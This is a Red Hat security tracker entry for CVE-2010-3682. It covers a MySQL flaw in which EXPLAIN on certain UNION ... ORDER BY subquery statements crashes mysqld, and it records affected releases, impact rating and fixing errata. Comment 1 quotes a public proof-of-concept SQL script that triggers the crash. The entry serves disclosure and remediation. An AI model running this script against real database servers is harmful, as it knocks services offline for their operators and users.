Bug 628328 (CVE-2010-3682) - CVE-2010-3682 MySQL: mysqld DoS (crash) by processing EXPLAIN statements for complex SQL queries (MySQL bug #52711)
Summary: CVE-2010-3682 MySQL: mysqld DoS (crash) by processing EXPLAIN statements for ...
Keywords:
Status: CLOSED ERRATA
Alias: CVE-2010-3682
Product: Security Response
Classification: Other
Component: vulnerability
Version: unspecified
Hardware: All
OS: Linux
medium
medium
Target Milestone: ---
Assignee: Red Hat Product Security
QA Contact:
URL:
Whiteboard:
Depends On: 636780 645642 645643 652553 652554 833943
Blocks:
TreeView+ depends on / blocked
 
Reported: 2010-08-29 13:57 UTC by Jan Lieskovsky
Modified: 2021-03-26 15:07 UTC (History)
7 users (show)

Fixed In Version:
Doc Type: Bug Fix
Doc Text:
Clone Of:
Environment:
Last Closed: 2012-03-30 14:21:00 UTC
Embargoed:


Attachments (Terms of Use)


Links
System ID Private Priority Status Summary Last Updated
Red Hat Product Errata RHSA-2010:0825 0 normal SHIPPED_LIVE Moderate: mysql security update 2010-11-03 20:21:33 UTC
Red Hat Product Errata RHSA-2011:0164 0 normal SHIPPED_LIVE Moderate: mysql security update 2011-01-18 18:42:37 UTC

Description Jan Lieskovsky 2010-08-29 13:57:18 UTC
A denial of service flaw was found in the way MySQL processed EXPLAIN
statements for SQL queries of the form: 

  SELECT ... UNION ... ORDER BY (SELECT ... WHERE ...)

A remote authenticated MySQL user could use this flaw to cause mysqld deamon
crash (dereference NULL pointer).

References:
  [1] http://secunia.com/advisories/41048/
  [2] http://dev.mysql.com/doc/refman/5.1/en/news-5-1-49.html

Upstream bug report:
  [3] http://bugs.mysql.com/bug.php?id=52711

Upstream changesets:
  [4] http://lists.mysql.com/commits/105750
  [5] http://lists.mysql.com/commits/112043

Note:
This issue only causes a temporary denial of service, as the mysql daemon
shipped with Red Hat Enterprise Linux 5 will be automatically restarted
after the crash.

Comment 1 Jan Lieskovsky 2010-08-29 13:59:14 UTC
Public proof of concept script from [3]:

CREATE TABLE t1 (a VARCHAR(10), FULLTEXT KEY a (a));
INSERT INTO t1 VALUES (1),(2);
CREATE TABLE t2 (b INT);
INSERT INTO t2 VALUES (1),(2);

EXPLAIN SELECT * FROM t1 UNION SELECT * FROM t1
  ORDER BY (SELECT a FROM t2 WHERE b = 12);

EXPLAIN SELECT * FROM t2 UNION SELECT * FROM t2
  ORDER BY (SELECT * FROM t1 WHERE MATCH(a) AGAINST ('+abc' IN BOOLEAN MODE));

DROP TABLE t1,t2;

Comment 4 Jan Lieskovsky 2010-08-29 14:07:23 UTC
This issue did NOT affect the versions of the mysql package, as shipped
with Red Hat Enterprise Linux 3 and 4.

This issue affects the version of the mysql package, as shipped with
Red Hat Enterprise Linux 5.

The Red Hat Security Response Team has rated this issue as having
low security impact, as exploitation of this issue would mean only
a temporary denial of service, since the mysql daemon shipped with
Red Hat Enterprise Linux 5 will be automatically restarted after
the crash.

A future update may address this flaw in Red Hat Enterprise Linux 5.

--

This issue affects the versions of the mysql package, as shipped with
Fedora release of 12 and 13.

Comment 6 Jan Lieskovsky 2010-08-31 12:55:10 UTC
CVE Request: http://www.openwall.com/lists/oss-security/2010/08/30/8

Comment 7 Jan Lieskovsky 2010-09-23 09:20:19 UTC
Created mysql tracking bugs for this issue

Affects: fedora-all [bug 636780]

Comment 8 Jan Lieskovsky 2010-09-29 08:45:03 UTC
The CVE identifier of CVE-2010-3682 has been assigned to this issue.

Comment 12 errata-xmlrpc 2010-11-03 20:22:10 UTC
This issue has been addressed in following products:

  Red Hat Enterprise Linux 5

Via RHSA-2010:0825 https://rhn.redhat.com/errata/RHSA-2010-0825.html

Comment 13 Vincent Danen 2010-11-03 20:49:13 UTC
Statement:

This issue did not affect the versions of mysql as shipped with Red Hat Enterprise Linux 3 and 4. This issue was addressed in Red Hat Enterprise Linux 5 via https://rhn.redhat.com/errata/RHSA-2010-0825.html.

Comment 15 errata-xmlrpc 2011-01-18 18:43:24 UTC
This issue has been addressed in following products:

  Red Hat Enterprise Linux 6

Via RHSA-2011:0164 https://rhn.redhat.com/errata/RHSA-2011-0164.html


Note You need to log in before you can comment on or make changes to this bug.